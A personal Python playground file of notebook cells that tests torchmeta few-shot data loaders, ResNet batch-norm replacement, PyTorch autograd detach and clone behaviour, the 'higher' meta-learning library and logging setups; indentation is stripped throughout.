from torchmeta.datasets.helpers import omniglot
from torchmeta.datasets.helpers import miniimagenet
from torchmeta.utils.data import BatchMetaDataLoader
from pathlib import Path
meta_split = 'train'
data_path = Path('//').expanduser()
dataset = omniglot(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
for batch in dataloader:
train_inputs, train_targets = batch["train"]
print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
test_inputs, test_targets = batch["test"]
print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
# %%
# replacing a module in in a pytorch model
# https://discuss.pytorch.org/t/how-to-modify-a-pretrained-model/60509/11
import torch
from torchmeta.datasets.helpers import omniglot
from torchmeta.datasets.helpers import miniimagenet
from torchmeta.utils.data import BatchMetaDataLoader
from pathlib import Path
import copy
meta_split = 'train'
data_path = Path('//').expanduser()
dataset = omniglot(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
def replace_bn(module, name):
"""
Recursively put desired batch norm in nn.module module.
set module = net to start code.
"""
# go through all attributes of module nn.module (e.g. network or layer) and put batch norms if present
for attr_str in dir(module):
target_attr = getattr(module, attr_str)
if type(target_attr) == torch.nn.BatchNorm2d:
new_bn = torch.nn.BatchNorm2d(target_attr.num_features, target_attr.eps, target_attr.momentum,
target_attr.affine,
track_running_stats=False)
setattr(module, attr_str, new_bn)
# iterate through immediate child modules. Note, the recursion is done by our code no need to use named_modules()
for name, immediate_child_module in module.named_children():
replace_bn(immediate_child_module, name)
def convert_bn(model):
for module in model.modules():
if isinstance(module, torch.nn.modules.batchnorm._BatchNorm):
module.__init__(module.num_features, module.eps,
module.momentum, module.affine,
track_running_stats=False)
fc_out_features = 5
# model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet18', pretrained=False)
# replace_bn(model, 'model')
# model.fc = torch.nn.Linear(in_features=512, out_features=fc_out_features, bias=True)
#
# model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet50', pretrained=False)
# replace_bn(model, 'model')
# model.fc = torch.nn.Linear(in_features=2048, out_features=fc_out_features, bias=True)
# model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet101', pretrained=False)
# replace_bn(model, 'model')
# model.fc = torch.nn.Linear(in_features=2048, out_features=fc_out_features, bias=True)
model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet152', pretrained=False)
replace_bn(model, 'model')
model.fc = torch.nn.Linear(in_features=2048, out_features=fc_out_features, bias=True)
for batch in dataloader:
train_inputs, train_targets = batch["train"]
print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
test_inputs, test_targets = batch["test"]
print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
first_meta_batch = train_inputs[0] # task
nk_task = first_meta_batch
out = model(nk_task)
print(f'resnet out.size(): {out.size()}')
break
print('success\a')
# %%
import torch
import torchvision.transforms as transforms
# import torchmeta
# from torchmeta.datasets.helpers import omniglot
from torchmeta.datasets.helpers import miniimagenet
from torchmeta.utils.data import BatchMetaDataLoader
from pathlib import Path
meta_split = 'train'
data_path = Path('//').expanduser()
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
data_augmentation_transforms = transforms.Compose([
transforms.RandomResizedCrop(84),
transforms.RandomHorizontalFlip(),
transforms.ColorJitter(
brightness=0.4,
contrast=0.4,
saturation=0.4,
hue=0.2),
transforms.ToTensor(),
normalize])
dataset = miniimagenet(data_path,
transform=data_augmentation_transforms,
ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet18', pretrained=False)
print(len(dataloader))
# for batch_idx, batch in enumerate(dataloader):
# print(f'--> batch_idx = {batch_idx}')
# train_inputs, train_targets = batch["train"]
# print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
# print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
# test_inputs, test_targets = batch["test"]
# print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
# print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
# first_meta_batch = train_inputs[0] # task
# nk_task = first_meta_batch
# out = model(nk_task)
# print(f'resnet out.size(): {out.size()}')
# break
print('success\a')
# %%
import torch
import torchvision.transforms as transforms
# import torchmeta
# from torchmeta.datasets.helpers import omniglot
from torchmeta.datasets.helpers import miniimagenet
from torchmeta.utils.data import BatchMetaDataLoader
from pathlib import Path
meta_split = 'train'
data_path = Path('//').expanduser()
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
data_augmentation_transforms = transforms.Compose([
transforms.RandomResizedCrop(84),
transforms.RandomHorizontalFlip(),
transforms.ColorJitter(
brightness=0.4,
contrast=0.4,
saturation=0.4,
hue=0.2),
transforms.ToTensor(),
normalize])
dataset = miniimagenet(data_path,
transform=data_augmentation_transforms,
ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
print(f'len augmented = {len(dataloader)}')
dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
print(f'len normal = {len(dataloader)}')
print('success\a')
# %%
import torch
import torchvision.transforms as transforms
from torchmeta.datasets.helpers import miniimagenet
from torchmeta.utils.data import BatchMetaDataLoader
from tqdm import tqdm
from pathlib import Path
meta_split = 'train'
data_path = Path('//').expanduser()
# normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
# data_augmentation_transforms = transforms.Compose([
# transforms.RandomResizedCrop(84),
# transforms.RandomHorizontalFlip(),
# transforms.ColorJitter(
# brightness=0.4,
# contrast=0.4,
# saturation=0.4,
# hue=0.2),
# transforms.ToTensor(),
# normalize])
# dataset = miniimagenet(data_path,
# transform=data_augmentation_transforms,
# ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
# print(f'len augmented = {len(dataloader)}')
dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
print(f'len normal = {len(dataloader)}')
num_batches = 10
with tqdm(dataloader, total=num_batches) as pbar:
for batch_idx, batch in enumerate(pbar):
train_inputs, train_targets = batch["train"]
print(train_inputs.size())
# print(batch_idx)
if batch_idx >= num_batches:
break
print('success\a')
# %%
from math import comb
total_classes = 64
n = 5
number_tasks = comb(total_classes, n)
print(number_tasks)
# %%
# saving a json file save json file
# human readable pretty print https://stackoverflow.com/questions/12943819/how-to-prettyprint-a-json-file
import json
data = 'data string'
with open('data.txt', 'w') as outfile:
json.dump(data, outfile)
# json.dump(data, open('data.txt', 'w'))
# with open(current_logs_path / 'experiment_stats.json', 'w+') as f:
# json.dump(self.stats, f)
# data_ars = {key:value for (key,value) in dictonary.items()}
# x = {key:str(value) fo# %%
#
# # to test impots
# import sys
#
# for path in sys.path:
# print(path)
# # %%
#
# import time
#
# import logging
#
# logger = logging.getLogger(__name__)
# logger.setLevel(logging.INFO)
#
# formatter = logging.Formatter('%(levelname)s:%(name)s:%(message)s')
#
# file_handler = logging.FileHandler('employee.log')
# file_handler.setFormatter(formatter)
#
# logger.addHandler(file_handler)
#
#
# class Employee:
# """A sample Employee class"""
#
# def __init__(self, first, last):
# self.first = first
# self.last = last
#
# logger.info('Created Employee: {} - {}'.format(self.fullname, self.email))
#
# @property
# def email(self):
# return '{}.{}@email.com'.format(self.first, self.last)
#
# @property
# def fullname(self):
# return '{} {}'.format(self.first, self.last)
#
#
# emp_1 = Employee('John', 'Smith')
# emp_2 = Employee('Corey', 'Schafer')
# emp_3 = Employee('Jane', 'Doe')
#
#
# ######## END OF EMPLOYEE LOGGING EXAMPLE
#
# def report_times(start, verbose=False):
# '''
# How much time has passed since the time "start"
#
# :param float start: the number representing start (usually time.time())
# '''
# meta_str = ''
# ## REPORT TIMES
# start_time = start
# seconds = (time.time() - start_time)
# minutes = seconds / 60
# hours = minutes / 60
# if verbose:
# print(f"--- {seconds} {'seconds ' + meta_str} ---")
# print(f"--- {minutes} {'minutes ' + meta_str} ---")
# print(f"--- {hours} {'hours ' + meta_str} ---")
# print('\a')
# ##
# msg = f'time passed: hours:{hours}, minutes={minutes}, seconds={seconds}'
# return msg, seconds, minutes, hours
#
#
# def params_in_comp_graph():
# import torch
# import torch.nn as nn
# from torchviz import make_dot
# fc0 = nn.Linear(in_features=3, out_features=1)
# params = [('fc0', fc0)]
# mdl = nn.Sequential(OrderedDict(params))
#
# x = torch.randn(1, 3)
# # x.requires_grad = True # uncomment to put in computation graph
# y = torch.randn(1)
#
# l = (mdl(x) - y) ** 2
#
# # make_dot(l, params=dict(mdl.named_parameters()))
# params = dict(mdl.named_parameters())
# # params = {**params, 'x':x}
# make_dot(l, params=params).render('data/debug/test_img_l', format='png')
#
#
# def check_if_tensor_is_detached():
# a = torch.tensor([2.0], requires_grad=True)
# b = a.detach()
# b.requires_grad = True
# print(a == b)
# print(a is b)
# print(a)
# print(b)
#
# la = (5.0 - a) ** 2
# la.backward()
# print(f'a.grad = {a.grad}')
#
# lb = (6.0 - b) ** 2
# lb.backward()
# print(f'b.grad = {b.grad}')
#
#
# def deep_copy_issue():
# params = OrderedDict([('fc1', nn.Linear(in_features=3, out_features=1))])
# mdl0 = nn.Sequential(params)
# mdl1 = copy.deepcopy(mdl0)
# print(id(mdl0))
# print(mdl0)
# print(id(mdl1))
# print(mdl1)
# # my update
# mdl1.fc1.weight = nn.Parameter(mdl1.fc1.weight + 1)
# mdl2 = copy.deepcopy(mdl1)
# print(id(mdl2))
# print(mdl2)
#
#
# def download_mini_imagenet():
# # download mini-imagenet automatically
# import torch
# import torch.nn as nn
# import torchvision.datasets.utils as utils
# from torchvision.datasets.utils import download_and_extract_archive
# from torchvision.datasets.utils import download_file_from_google_drive
#
# ## download mini-imagenet
# # url = 'https://drive.google.com/file/d/1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
# file_id = '1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
# filename = 'miniImagenet.tgz'
# root = '~/tmp/' # dir to place downloaded file in
# download_file_from_google_drive(file_id, root, filename)
#
#
# def extract():
# from torchvision.datasets.utils import extract_archive
# from_path = os.path.expanduser('~/Downloads/miniImagenet.tgz')
# extract_archive(from_path)
#
#
# def download_and_extract_miniImagenet(root):
# import os
# from torchvision.datasets.utils import download_file_from_google_drive, extract_archive
#
# ## download miniImagenet
# # url = 'https://drive.google.com/file/d/1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
# file_id = '1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
# filename = 'miniImagenet.tgz'
# download_file_from_google_drive(file_id, root, filename)
# fpath = os.path.join(root, filename) # this is what download_file_from_google_drive does
# ## extract downloaded dataset
# from_path = os.path.expanduser(fpath)
# extract_archive(from_path)
# ## remove the zip file
# os.remove(from_path)
#
#
# def torch_concat():
# import torch
#
# g1 = torch.randn(3, 3)
# g2 = torch.randn(3, 3)
#
#
# def inner_loop1():
# n_inner_iter = 5
# inner_opt = torch.optim.SGD(net.parameters(), lr=1e-1)
#
# qry_losses = []
# qry_accs = []
# meta_opt.zero_grad()
# for i in range(task_num):
# with higher.innerloop_ctx(
# net, inner_opt, copy_initial_weights=False
# ) as (fnet, diffopt):
# # Optimize the likelihood of the support set by taking
# # gradient steps w.r.t. the model's parameters.
# # This adapts the model's meta-parameters to the task.
# # higher is able to automatically keep copies of
# # your network's parameters as they are being updated.
# for _ in range(n_inner_iter):
# spt_logits = fnet(x_spt[i])
# spt_loss = F.cross_entropy(spt_logits, y_spt[i])
# diffopt.step(spt_loss)
#
# # The final set of adapted parameters will induce some
# # final loss and accuracy on the query dataset.
# # These will be used to update the model's meta-parameters.
# qry_logits = fnet(x_qry[i])
# qry_loss = F.cross_entropy(qry_logits, y_qry[i])
# qry_losses.append(qry_loss.detach())
# qry_acc = (qry_logits.argmax(
# dim=1) == y_qry[i]).sum().item() / querysz
# qry_accs.append(qry_acc)
#
# # Update the model's meta-parameters to optimize the query
# # losses across all of the tasks sampled in this batch.
# # This unrolls through the gradient steps.
# qry_loss.backward()
#
# meta_opt.step()
# qry_losses = sum(qry_losses) / task_num
# qry_accs = 100. * sum(qry_accs) / task_num
# i = epoch + float(batch_idx) / n_train_iter
# iter_time = time.time() - start_time
#
#
# def inner_loop2():
# n_inner_iter = 5
# inner_opt = torch.optim.SGD(net.parameters(), lr=1e-1)
#
# qry_losses = []
# qry_accs = []
# meta_opt.zero_grad()
# meta_loss = 0
# for i in range(task_num):
# with higher.innerloop_ctx(
# net, inner_opt, copy_initial_weights=False
# ) as (fnet, diffopt):
# # Optimize the likelihood of the support set by taking
# # gradient steps w.r.t. the model's parameters.
# # This adapts the model's meta-parameters to the task.
# # higher is able to automatically keep copies of
# # your network's parameters as they are being updated.
# for _ in range(n_inner_iter):
# spt_logits = fnet(x_spt[i])
# spt_loss = F.cross_entropy(spt_logits, y_spt[i])
# diffopt.step(spt_loss)
#
# # The final set of adapted parameters will induce some
# # final loss and accuracy on the query dataset.
# # These will be used to update the model's meta-parameters.
# qry_logits = fnet(x_qry[i])
# qry_loss = F.cross_entropy(qry_logits, y_qry[i])
# qry_losses.append(qry_loss.detach())
# qry_acc = (qry_logits.argmax(
# dim=1) == y_qry[i]).sum().item() / querysz
# qry_accs.append(qry_acc)
#
# # Update the model's meta-parameters to optimize the query
# # losses across all of the tasks sampled in this batch.
# # This unrolls through the gradient steps.
# # qry_loss.backward()
# meta_loss += qry_loss
#
# qry_losses = sum(qry_losses) / task_num
# qry_losses.backward()
# meta_opt.step()
# qry_accs = 100. * sum(qry_accs) / task_num
# i = epoch + float(batch_idx) / n_train_iter
# iter_time = time.time() - start_time
#
#
# def error_unexpected_way_to_by_pass_safety():
# # https://stackoverflow.com/questions/62415251/why-am-i-able-to-change-the-value-of-a-tensor-without-the-computation-graph-know
#
# import torch
# a = torch.tensor([1, 2, 3.], requires_grad=True)
# # are detached tensor's leafs? yes they are
# a_detached = a.detach()
# # a.fill_(2) # illegal, warns you that a tensor which requires grads is used in an inplace op (so it won't be recorded in computation graph so it wont take the right derivative of the forward path as this op won't be in it)
# a_detached.fill_(
# 2) # weird that this one is allowed, seems to allow me to bypass the error check from the previous comment...?!
# print(f'a = {a}')
# print(f'a_detached = {a_detached}')
# a.sum().backward()
#
#
# def detach_playground():
# import torch
#
# a = torch.tensor([1, 2, 3.], requires_grad=True)
# # are detached tensor's leafs? yes they are
# a_detached = a.detach()
# print(f'a_detached.is_leaf = {a_detached.is_leaf}')
# # is doing sum on the detached tensor a leaf? no
# a_detached_sum = a.sum()
# print(f'a_detached_sum.is_leaf = {a_detached_sum.is_leaf}')
# # is detaching an intermediate tensor a leaf? yes
# a_sum_detached = a.sum().detach()
# print(f'a_sum_detached.is_leaf = {a_sum_detached.is_leaf}')
# # shows they share they same data
# print(f'a == a_detached = {a == a_detached}')
# print(f'a is a_detached = {a is a_detached}')
# a_detached.zero_()
# print(f'a = {a}')
# print(f'a_detached = {a_detached}')
# # a.fill_(2) # illegal, warns you that a tensor which requires grads is used in an inplace op (so it won't be recorded in computation graph so it wont take the right derivative of the forward path as this op won't be in it)
# a_detached.fill_(
# 2) # weird that this one is allowed, seems to allow me to bypass the error check from the previous comment...?!
# print(f'a = {a}')
# print(f'a_detached = {a_detached}')
# ## conclusion: detach basically creates a totally new tensor which cuts gradient computations to the original but shares the same memory with original
# out = a.sigmoid()
# out_detached = out.detach()
# out_detached.zero_()
# out.sum().backward()
#
#
# def clone_playground():
# import torch
#
# a = torch.tensor([1, 2, 3.], requires_grad=True)
# a_clone = a.clone()
# print(f'a_clone.is_leaf = {a_clone.is_leaf}')
# print(f'a is a_clone = {a is a_clone}')
# print(f'a == a_clone = {a == a_clone}')
# print(f'a = {a}')
# print(f'a_clone = {a_clone}')
# # a_clone.fill_(2)
# a_clone.mul_(2)
# print(f'a = {a}')
# print(f'a_clone = {a_clone}')
# a_clone.sum().backward()
# print(f'a.grad = {a.grad}')
#
#
# def clone_vs_deepcopy():
# import copy
# import torch
#
# x = torch.tensor([1, 2, 3.])
# x_clone = x.clone()
# x_deep_copy = copy.deepcopy(x)
# #
# x.mul_(-1)
# print(f'x = {x}')
# print(f'x_clone = {x_clone}')
# print(f'x_deep_copy = {x_deep_copy}')
# print()
#
#
# def inplace_playground():
# import torch
#
# x = torch.tensor([1, 2, 3.], requires_grad=True)
# y = x + 1
# print(f'x.is_leaf = {x.is_leaf}')
# print(f'y.is_leaf = {y.is_leaf}')
# x += 1 # not allowed because x is a leaf, since changing the value of a leaf with an inplace forgets it's value then backward wouldn't work IMO (though its not the official response)
# print(f'x.is_leaf = {x.is_leaf}')
#
#
# def copy_initial_weights_playground_original():
# import torch
# import torch.nn as nn
# import torch.optim as optim
# import higher
# import numpy as np
#
# np.random.seed(1)
# torch.manual_seed(3)
# N = 100
# actual_multiplier = 3.5
# meta_lr = 0.00001
# loops = 5 # how many iterations in the inner loop we want to do
#
# x = torch.tensor(np.random.random((N, 1)), dtype=torch.float64) # features for inner training loop
# y = x * actual_multiplier # target for inner training loop
# model = nn.Linear(1, 1, bias=False).double() # simplest possible model - multiple input x by weight w without bias
# meta_opt = optim.SGD(model.parameters(), lr=meta_lr, momentum=0.)
#
# def run_inner_loop_once(model, verbose, copy_initial_weights):
# lr_tensor = torch.tensor([0.3], requires_grad=True)
# momentum_tensor = torch.tensor([0.5], requires_grad=True)
# opt = optim.SGD(model.parameters(), lr=0.3, momentum=0.5)
# with higher.innerloop_ctx(model, opt, copy_initial_weights=copy_initial_weights,
# override={'lr': lr_tensor, 'momentum': momentum_tensor}) as (fmodel, diffopt):
# for j in range(loops):
# if verbose:
# print('Starting inner loop step j=={0}'.format(j))
# print(' Representation of fmodel.parameters(time={0}): {1}'.format(j, str(
# list(fmodel.parameters(time=j)))))
# print(' Notice that fmodel.parameters() is same as fmodel.parameters(time={0}): {1}'.format(j, (
# list(fmodel.parameters())[0] is list(fmodel.parameters(time=j))[0])))
# out = fmodel(x)
# if verbose:
# print(
# ' Notice how `out` is `x` multiplied by the latest version of weight: {0:.4} * {1:.4} == {2:.4}'.format(
# x[0, 0].item(), list(fmodel.parameters())[0].item(), out[0].item()))
# loss = ((out - y) ** 2).mean()
# diffopt.step(loss)
#
# if verbose:
# # after all inner training let's see all steps' parameter tensors
# print()
# print("Let's print all intermediate parameters versions after inner loop is done:")
# for j in range(loops + 1):
# print(' For j=={0} parameter is: {1}'.format(j, str(list(fmodel.parameters(time=j)))))
# print()
#
# # let's imagine now that our meta-learning optimization is trying to check how far we got in the end from the actual_multiplier
# weight_learned_after_full_inner_loop = list(fmodel.parameters())[0]
# meta_loss = (weight_learned_after_full_inner_loop - actual_multiplier) ** 2
# print(' Final meta-loss: {0}'.format(meta_loss.item()))
# meta_loss.backward() # will only propagate gradient to original model parameter's `grad` if copy_initial_weight=False
# if verbose:
# print(' Gradient of final loss we got for lr and momentum: {0} and {1}'.format(lr_tensor.grad,
# momentum_tensor.grad))
# print(
# ' If you change number of iterations "loops" to much larger number final loss will be stable and the values above will be smaller')
# return meta_loss.item()
#
# print('=================== Run Inner Loop First Time (copy_initial_weights=True) =================\n')
# meta_loss_val1 = run_inner_loop_once(model, verbose=True, copy_initial_weights=True)
# print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
# list(model.parameters())[0].grad))
#
# print('=================== Run Inner Loop Second Time (copy_initial_weights=False) =================\n')
# meta_loss_val2 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
# print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
# list(model.parameters())[0].grad))
#
# print('=================== Run Inner Loop Third Time (copy_initial_weights=False) =================\n')
# final_meta_gradient = list(model.parameters())[0].grad.item()
# # Now let's double-check `higher` library is actually doing what it promised to do, not just giving us
# # a bunch of hand-wavy statements and difficult to read code.
# # We will do a simple SGD step using meta_opt changing initial weight for the training and see how meta loss changed
# meta_opt.step()
# meta_opt.zero_grad()
# meta_step = - meta_lr * final_meta_gradient # how much meta_opt actually shifted inital weight value
# meta_loss_val3 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
#
#
# def copy_initial_weights_playground():
# import torch
# import torch.nn as nn
# import torch.optim as optim
# import higher
# import numpy as np
#
# np.random.seed(1)
# torch.manual_seed(3)
# N = 100
# actual_multiplier = 3.5 # the parameters we want the model to learn
# meta_lr = 0.00001
# loops = 5 # how many iterations in the inner loop we want to do
#
# x = torch.randn(N, 1) # features for inner training loop
# y = x * actual_multiplier # target for inner training loop
# model = nn.Linear(1, 1,
# bias=False) # model(x) = w*x, simplest possible model - multiple input x by weight w without bias. goal is to w~~actualy_multiplier
# outer_opt = optim.SGD(model.parameters(), lr=meta_lr, momentum=0.)
#
# def run_inner_loop_once(model, verbose, copy_initial_weights):
# lr_tensor = torch.tensor([0.3], requires_grad=True)
# momentum_tensor = torch.tensor([0.5], requires_grad=True)
# inner_opt = optim.SGD(model.parameters(), lr=0.3, momentum=0.5)
# with higher.innerloop_ctx(model, inner_opt, copy_initial_weights=copy_initial_weights,
# override={'lr': lr_tensor, 'momentum': momentum_tensor}) as (fmodel, diffopt):
# for j in range(loops):
# if verbose:
# print('Starting inner loop step j=={0}'.format(j))
# print(' Representation of fmodel.parameters(time={0}): {1}'.format(j, str(
# list(fmodel.parameters(time=j)))))
# print(' Notice that fmodel.parameters() is same as fmodel.parameters(time={0}): {1}'.format(j, (
# list(fmodel.parameters())[0] is list(fmodel.parameters(time=j))[0])))
# out = fmodel(x)
# if verbose:
# print(
# f' Notice how `out` is `x` multiplied by the latest version of weight: {x[0, 0].item()} * {list(fmodel.parameters())[0].item()} == {out[0].item()}')
# loss = ((out - y) ** 2).mean()
# diffopt.step(loss)
#
# if verbose:
# # after all inner training let's see all steps' parameter tensors
# print()
# print("Let's print all intermediate parameters versions after inner loop is done:")
# for j in range(loops + 1):
# print(' For j=={0} parameter is: {1}'.format(j, str(list(fmodel.parameters(time=j)))))
# print()
#
# # let's imagine now that our meta-learning optimization is trying to check how far we got in the end from the actual_multiplier
# weight_learned_after_full_inner_loop = list(fmodel.parameters())[0]
# meta_loss = (weight_learned_after_full_inner_loop - actual_multiplier) ** 2
# print(' Final meta-loss: {0}'.format(meta_loss.item()))
# meta_loss.backward() # will only propagate gradient to original model parameter's `grad` if copy_initial_weight=False
# if verbose:
# print(' Gradient of final loss we got for lr and momentum: {0} and {1}'.format(lr_tensor.grad,
# momentum_tensor.grad))
# print(
# ' If you change number of iterations "loops" to much larger number final loss will be stable and the values above will be smaller')
# return meta_loss.item()
#
# print('=================== Run Inner Loop First Time (copy_initial_weights=True) =================\n')
# meta_loss_val1 = run_inner_loop_once(model, verbose=True, copy_initial_weights=True)
# print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
# list(model.parameters())[0].grad))
#
# print('=================== Run Inner Loop Second Time (copy_initial_weights=False) =================\n')
# meta_loss_val2 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
# print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
# list(model.parameters())[0].grad))
#
# print('=================== Run Inner Loop Third Time (copy_initial_weights=False) =================\n')
# final_meta_gradient = list(model.parameters())[0].grad.item()
# # Now let's double-check `higher` library is actually doing what it promised to do, not just giving us
# # a bunch of hand-wavy statements and difficult to read code.
# # We will do a simple SGD step using meta_opt changing initial weight for the training and see how meta loss changed
# outer_opt.step()
# outer_opt.zero_grad()
# meta_step = - meta_lr * final_meta_gradient # how much meta_opt actually shifted inital weight value
# meta_loss_val3 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
#
# meta_loss_gradient_approximation = (meta_loss_val3 - meta_loss_val2) / meta_step
#
# print()
# print(
# 'Side-by-side meta_loss_gradient_approximation and gradient computed by `higher` lib: {0:.4} VS {1:.4}'.format(
# meta_loss_gradient_approximation, final_meta_gradient))
#
#
# def tqdm_torchmeta():
# from torchvision.transforms import Compose, Resize, ToTensor
#
# import torchmeta
# from torchmeta.datasets.helpers import miniimagenet
#
# from pathlib import Path
# from types import SimpleNamespace
#
# from tqdm import tqdm
#
# ## get args
# args = SimpleNamespace(episodes=5, n_classes=5, k_shot=5, k_eval=15, meta_batch_size=1, n_workers=4)
# args.data_root = Path("~/automl-meta-learning/data/miniImagenet").expanduser()
#
# ## get meta-batch loader
# train_transform = Compose([Resize(84), ToTensor()])
# dataset = miniimagenet(
# args.data_root,
# ways=args.n_classes,
# shots=args.k_shot,
# test_shots=args.k_eval,
# meta_split='train',
# download=False)
# dataloader = torchmeta.utils.data.BatchMetaDataLoader(
# dataset,
# batch_size=args.meta_batch_size,
# num_workers=args.n_workers)
#
# with tqdm(dataset):
# print(f'len(dataloader)= {len(dataloader)}')
# for episode, batch in enumerate(dataloader):
# print(f'episode = {episode}')
# train_inputs, train_labels = batch["train"]
# print(f'train_labels[0] = {train_labels[0]}')
# print(f'train_inputs.size() = {train_inputs.size()}')
# pass
# if episode >= args.episodes:
# break
#
#
# # if __name__ == "__main__":
# # start = time.time()
# # print('pytorch playground!')
# # # params_in_comp_graph()
# # # check_if_tensor_is_detached()
# # # deep_copy_issue()
# # # download_mini_imagenet()
# # # extract()
# # # download_and_extract_miniImagenet(root='~/tmp')
# # # download_and_extract_miniImagenet(root='~/automl-meta-learning/data')
# # # torch_concat()
# # # detach_vs_cloe()
# # # error_unexpected_way_to_by_pass_safety()
# # # clone_playground()
# # # inplace_playground()
# # # clone_vs_deepcopy()
# # # copy_initial_weights_playground()
# # tqdm_torchmeta()
# # print('--> DONE')
# # time_passed_msg, _, _, _ = report_times(start)
# # print(f'--> {time_passed_msg}')
#
# # %%
#
# import sys
#
# print(sys.version) ##
# print(sys.path)
#
#
# def helloworld():
# print('helloworld')
# print('hello12345')
#
#
# def union_dicts():
# d1 = {'x': 1}
# d2 = {'y': 2, 'z': 3}
# d_union = {**d1, **d2}
# print(d_union)
#
#
# def get_stdout_old():
# import sys
#
# # contents = ""
# # #with open('some_file.txt') as f:
# # #with open(sys.stdout,'r') as f:
# # # sys.stdout.mode = 'r'
# # for line in sys.stdout.readlines():
# # contents += line
# # print(contents)
#
# # print(sys.stdout)
# # with open(sys.stdout.buffer) as f:
# # print(f.readline())
#
# # import subprocess
#
# # p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
# # stdout = []
# # while True:
# # line = p.stdout.readline()
# # stdout.append(line)
# # print( line )
# # if line == '' and p.poll() != None:
# # break
# # print( ''.join(stdout) )
#
# import sys
# myfile = "input.txt"
#
# def print(*args):
# __builtins__.print(*args, file=sys.__stdout__)
# with open(myfile, "a+") as f:
# __builtins__.print(*args, file=f)
#
# print('a')
# print('b')
# print('c')
#
# repr(sys.stdout)
#
#
# def get_stdout():
# import sys
# myfile = "my_stdout.txt"
#
# # redefine print
# def print(*args):
# __builtins__.print(*args, file=sys.__stdout__) # prints to terminal
# with open(myfile, "a+") as f:
# __builtins__.print(*args, file=f) # saves in a file
#
# print('a')
# print('b')
# print('c')
#
#
# def logging_basic():
# import logging
# logging.warning('Watch out!') # will print a message to the console
# logging.info('I told you so') # will not print anything
#
#
# def logging_to_file():
# import logging
# logging.basicConfig(filename='example.log', level=logging.DEBUG)
# # logging.
# logging.debug('This message should go to the log file')
# logging.info('So should this')
# logging.warning('And this, too')
#
#
# def logging_to_file_INFO_LEVEL():
# import logging
# import sys
# format = '{asctime}:{levelname}:{name}:lineno {lineno}:{message}'
# logging.basicConfig(filename='example.log', level=logging.INFO, format=format, style='{')
# # logging.basicConfig(stream=sys.stdout,level=logging.INFO,format=format,style='{')
# # logging.
# logging.debug('This message should NOT go to the log file')
# logging.info('This message should go to log file')
# logging.warning('This, too')
#
#
# def logger_SO_print_and_write_to_my_stdout():
# """My sample logger code to print to screen and write to file (the same thing).
#
# Note: trying to replace this old answer of mine using a logger:
# - https://github.com/CoreyMSchafer/code_snippets/tree/master/Logging-Advanced
#
# Credit:
# - https://www.youtube.com/watch?v=jxmzY9soFXg&t=468s
# - https://github.com/CoreyMSchafer/code_snippets/tree/master/Logging-Advanced
# - https://stackoverflow.com/questions/21494468/about-notset-in-python-logging/21494716#21494716
#
# Other resources:
# - https://docs.python-guide.org/writing/logging/
# - https://docs.python.org/3/howto/logging.html#logging-basic-tutorial
# - https://stackoverflow.com/questions/61084916/how-does-one-make-an-already-opened-file-readable-e-g-sys-stdout/61255375#61255375
# """
# from pathlib import Path
# import logging
# import os
# import sys
# from datetime import datetime
#
# ## create directory (& its parents) if it does not exist otherwise do nothing :)
# # get current time
# current_time = datetime.now().strftime('%b%d_%H-%M-%S')
# logs_dirpath = Path(f'~/logs/python_playground_logs_{current_time}/').expanduser()
# logs_dirpath.mkdir(parents=True, exist_ok=True)
